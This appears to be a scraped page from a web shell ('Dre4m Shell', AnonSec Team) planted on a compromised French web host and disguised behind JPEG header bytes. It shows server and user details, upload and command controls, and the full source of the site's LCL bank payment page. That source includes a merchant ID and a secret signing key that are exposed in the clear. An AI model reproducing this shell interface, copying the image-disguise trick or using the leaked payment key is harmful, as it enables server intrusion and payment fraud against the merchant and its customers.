ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/LCL_payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/LCL_payment/index.php
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<?php

/*
- Dans cette page pour LCL, on congifure ICI mrechantId, la cle generee dans back-office LCL, la page retour automaticResponse et la page retour normalReturn.
- Dans la page normalReturn L133 et automaticResponse L122 : possibilite de test sinon on ne touche pas.
- debitstock n'existe plus !
*/





/**********************************************************************************************/

//Merchant
/**********/
$merchant = "216000006880001";

// clé generee dans back-office LCL
/***********************************/
$secretKey = "P-ALOqdNaSutks6Pp9aJvpLat4R_1cfH6TDZ8J-iWr4";


// pages retour
/**************/
$automaticResponse = "https://www.le-vapoteur-fute.com/LCL_payment/automaticResponse.php";
$normalReturn ="https://www.le-vapoteur-fute.com/LCL_payment/normalReturn.php";

/**********************************************************************************************/










$Numero_commande= $_POST['commandeid'];

/********************/
///////$Numero_commande='25';
/********************/
$Numero_commande = substr_replace("000000",$Numero_commande, -strlen($Numero_commande));



//RETIRE LA VIRGULE SI MILLE
/**************************/
$sTotal = $_POST['total'];



/********************/
////////$sTotal = '0.30';
/********************/
$sTotal_affiche = str_replace(",", " ", $sTotal);
$sTotal_affiche = str_replace(".", ",", $sTotal_affiche);

$sTotal = str_replace(",", "", $sTotal);
$Montant_commande = $sTotal * 100;
 



$email_customer= $_POST['email'];
/********************/
/////////$email_customer ="contact@diabolofraise.com";
/********************/


/*********************************************************************************************************************************************************/
?>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Connexion au serveur de paiement</title>
<link href="style.css" rel="stylesheet" type="text/css"/>
</head>

<body >

<div id="container">
	<div id="" style="text-align:center">
		<img src="./img/logobq.png" alt="Logo LCL"/>
		<div class="header_title" ></div>
	</div>
	
<br />
<h1 align="center">Connexion au serveur s&eacute;curis&eacute;</h1>
<div id="presentation">
<p align="center">
</div>

<div id="frm">
<p align="center">
    	Cliquez sur le bouton ci-dessous pour vous connecter au serveur de paiement.<br />
	<span class="anglais">Click on the following button to be redirected to the payment server.</span>
</p>


<p style="text-align: center"><font size="4">Montant à payer : <?php echo $sTotal_affiche ?> €</font></p>











<?php
/*********************************************************************************************************************************************************/


/* VARIABLES BLABLA PERSO SUPPLEMENTAIRES DISPONIBLES */
/******************************************************/
//orderId
//returnContext



// Fait la variable data
/**********************/

$data ="automaticResponseURL=".$automaticResponse."|normalReturnURL=".$normalReturn."|merchantId=".$merchant."|amount=".$Montant_commande."|orderId=".$Numero_commande."|currencyCode=978|keyVersion=1";


/*Exemple*/
//////$data ="automaticResponseURL=https://automatic-response-url.fr/|normalReturnURL=https://normal-return-url/|captureDay=0|captureMode=AUTHOR_CAPTURE|merchantId=011223344550000|amount=2500|orderId=ORD101|currencyCode=978|transactionReference=TREFEXA2012|keyVersion=1|transactionOrigin=SO_WEBAPPLI|returnContext=ReturnContext|orderChannel=INTERNET|customerContact.email=customer@email.com";


//Hachage de la cle + Data
/*************************/
$seal= hash('sha256', $data.$secretKey);


// Controle affichage
/********************/
/*
echo"<br /><br /><br /><br /><br />data test : ".$data."<br /><br /><br />seal : ".$seal." <br />";echo hash('sha256', $data.$secretKey);
/////////    <input type="hidden" name="Data" value="amount=5500|currencyCode=978|merchantId=011223744550001|normalReturnUrl=http://www.normalreturnurl.com|transactionReference=534654|keyVersion=1">
/////////    <input type="hidden" name="sealAlgorithm" value="HMAC-SHA-256">
*/


/*********************************************************************************************************************************************************/
?>




<div style="text-align:center">
  <form method="post" action="https://sherlocks-payment-webinit.secure.lcl.fr/paymentInit">
				    <input type="hidden" name="Data" value="<?php echo$data ?>">
				    <input type="hidden" name="InterfaceVersion" value="HP_2.39">
				    <input type="hidden" name="Seal" value="<?php echo$seal ?>">

					<button type="submit" class="validationButton" >
				    <span><font size="4">Payer maintenant</font></span>
				    </button>

          </form>
       </div>
    <br />
</div>
		
	

Anon7 - 2022
AnonSec Team